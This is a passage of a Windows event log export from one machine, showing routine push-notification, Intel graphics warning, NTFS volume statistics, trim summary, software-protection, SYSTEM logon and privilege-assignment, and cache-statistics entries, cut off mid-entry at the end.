10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.288\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.288\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.302\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:31.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:32.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:35.473\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_DeviceGuard, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:43:41.192\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:43:41Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:43:44.968\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:52.998\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n\n           UserFileReads: 144285\n           UserFileReadBytes: 7149538816\n           UserDiskReads: 145299\n           UserFileWrites: 39531\n           UserFileWriteBytes: 1401008128\n           UserDiskWrites: 47950\n\n           MetaDataReads: 45270\n           MetaDataReadBytes: 196149248\n           MetaDataDiskReads: 66993\n           MetaDataWrites: 24396\n           MetaDataWriteBytes: 200843264\n           MetaDataDiskWrites: 31243\n\n           MftReads: 43137\n           MftReadBytes: 176717824\n           MftWrites: 21593\n           MftWriteBytes: 171913216\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 10\n           BitmapReadBytes: 9830400\n           BitmapWrites: 2685\n           BitmapWriteBytes: 23367680\n           MftBitmapReads: 4\n           MftBitmapReadBytes: 208896\n           MftBitmapWrites: 46\n           MftBitmapWriteBytes: 360448\n           UserIndexReads: 23287\n           UserIndexReadBytes: 102342656\n           UserIndexWrites: 7067\n           UserIndexWriteBytes: 46972928\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 18653\n           LogFileWriteBytes: 232017920\n           LogFileFull: 1\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 1\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 462\n                     VolumeTrimTime (ms): 3424\n                     VolumeTrimSize (KB): 10246628\n                     AvgVolumeTrimTime (ms): 7\n                     AvgVolumeTrimSize (KB): 22178\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 2\n                     FileLevelTrimTime (ms): 42\n                     FileLevelTrimSize (KB): 19737276\n                     AvgFileLevelTrimTime (ms): 21\n                     AvgFileLevelTrimSize (KB): 9868638\n           NtfsFillStatInfoFromMftRecordCalledCount: 5488\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:52.998\t171\t\"File-Level Trim Summary:\n\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Is boot volume: true\n           \n           Period duration (us): 903808373\n           \n           Operation count: 4\n           Reposted operation count: 0\n           Failed operation count: 0\n           Operation range count: 4\n           Operation byte count: 0\n           Operation long range byte count 18446744073709547516\n           Unaligned range count: 0\n           Bytes in unaligned ranges: 0\n           Operation trim extent count: 6\n           Non-blocking aligned trim byte count: 0\n           Reclaimed byte count: 32575778816\n           \n           Byte count bucket values: [4 KB, 64 KB, 1 MB, 16 MB, 128 MB, 1 GB, 16 GB, 128 GB, 1 TB, 16 TB, 1 EB, 1+ EB]\n           \n           Operation counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4]\n           Operation byte counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n           Operation bytes reclaimed: [0, 0, 0, 0, 23, 0, 62263, 0, 0, 0, 0, 0]\n           Operation latency (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79]\n           \n           Latency bucket values: [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2s, 6s, 10s, 20s, 1m, 5m, 15m, 15m+]\n           \n           Operation latency count: [1, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n           \n           Top failure status codes and instance counts:\n               0x0      0\n               0x0      0\n               0x0      0\n               0x0      0\n               0x0      0\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n\n           UserFileReads: 3\n           UserFileReadBytes: 12288\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 45\n           MetaDataReadBytes: 20856832\n           MetaDataDiskReads: 49\n           MetaDataWrites: 8\n           MetaDataWriteBytes: 49152\n           MetaDataDiskWrites: 12\n\n           MftReads: 11\n           MftReadBytes: 73728\n           MftWrites: 7\n           MftWriteBytes: 45056\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 20\n           BitmapReadBytes: 20537344\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 3\n           UserIndexReadBytes: 12288\n           UserIndexWrites: 4\n           UserIndexWriteBytes: 16384\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 27\n           LogFileWriteBytes: 114688\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\n           UserFileReads: 5\n           UserFileReadBytes: 20480\n           UserDiskReads: 5\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 14\n           MetaDataReadBytes: 245760\n           MetaDataDiskReads: 16\n           MetaDataWrites: 4\n           MetaDataWriteBytes: 28672\n           MetaDataDiskWrites: 6\n\n           MftReads: 7\n           MftReadBytes: 57344\n           MftWrites: 4\n           MftWriteBytes: 28672\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 1\n           BitmapReadBytes: 32768\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 1\n           UserIndexReadBytes: 4096\n           UserIndexWrites: 2\n           UserIndexWriteBytes: 8192\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 20\n           LogFileWriteBytes: 81920\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\n           UserFileReads: 18\n           UserFileReadBytes: 208896\n           UserDiskReads: 18\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 18\n           MetaDataReadBytes: 1048576\n           MetaDataDiskReads: 20\n           MetaDataWrites: 5\n           MetaDataWriteBytes: 40960\n           MetaDataDiskWrites: 8\n\n           MftReads: 11\n           MftReadBytes: 73728\n           MftWrites: 5\n           MftWriteBytes: 40960\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 1\n           BitmapReadBytes: 819200\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 1\n           UserIndexReadBytes: 4096\n           UserIndexWrites: 3\n           UserIndexWriteBytes: 12288\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 24\n           LogFileWriteBytes: 102400\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n\n           UserFileReads: 4\n           UserFileReadBytes: 16384\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 43\n           MetaDataReadBytes: 6959104\n           MetaDataDiskReads: 47\n           MetaDataWrites: 5\n           MetaDataWriteBytes: 40960\n           MetaDataDiskWrites: 8\n\n           MftReads: 14\n           MftReadBytes: 86016\n           MftWrites: 5\n           MftWriteBytes: 40960\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 7\n           BitmapReadBytes: 6557696\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 45056\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 4\n           UserIndexReadBytes: 16384\n           UserIndexWrites: 3\n           UserIndexWriteBytes: 12288\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 19\n           LogFileWriteBytes: 77824\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n\n           UserFileReads: 3817\n           UserFileReadBytes: 221736960\n           UserDiskReads: 3812\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 13270\n           MetaDataReadBytes: 76025856\n           MetaDataDiskReads: 24737\n           MetaDataWrites: 5308\n           MetaDataWriteBytes: 39563264\n           MetaDataDiskWrites: 7171\n\n           MftReads: 13172\n           MftReadBytes: 53981184\n           MftWrites: 5308\n           MftWriteBytes: 39563264\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 21\n           BitmapReadBytes: 21409792\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 3\n           MftBitmapReadBytes: 147456\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 11466\n           UserIndexReadBytes: 47067136\n           UserIndexWrites: 1863\n           UserIndexWriteBytes: 9351168\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 388\n           LogFileWriteBytes: 10125312\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n\n           UserFileReads: 1\n           UserFileReadBytes: 4096\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 28\n           MetaDataReadBytes: 2891776\n           MetaDataDiskReads: 30\n           MetaDataWrites: 2\n           MetaDataWriteBytes: 24576\n           MetaDataDiskWrites: 4\n\n           MftReads: 9\n           MftReadBytes: 65536\n           MftWrites: 2\n           MftWriteBytes: 24576\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 3\n           BitmapReadBytes: 2564096\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 16384\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 2\n           UserIndexReadBytes: 8192\n           UserIndexWrites: 2\n           UserIndexWriteBytes: 8192\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 17\n           LogFileWriteBytes: 69632\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:56.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:57.912\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:57.912\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:00.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:01.045\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:44:02.069\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:44:02.090\t201\tCreated process 5140 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:44:02.300\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:02.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.639\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.843\t102\t\"Global Periodic Cache Information:\n\n                       Period Duration (microseconds): 916208946\n                       Number of NUMA Nodes: 111364\n                       Event Samples: 1\n                       Total Number of Mapped VACBs: 8256\n                       Total Partition Samples: 1\n                       Total Volume Samples: 10\n                       Total Pages Yet to Write: 166\n                       Total Dirty Pages: 158\n                       Total Available Pages: 4198001\n                       Total Physical Pages: 6167902\n                       Total Number of Worker Threads: 40\n                       Total Number of Active Worker Threads: 0\n                       Total Average Available Pages: 42725404\n                       Total Average Dirty Pages: 671\n                       CopyRead Calls: 821540\n                       AsyncCopyRead Calls: 1583\n                       CopyWriteCalls: 260285\n                       SetValidData Calls: 6602\n                       FlushCache Calls: 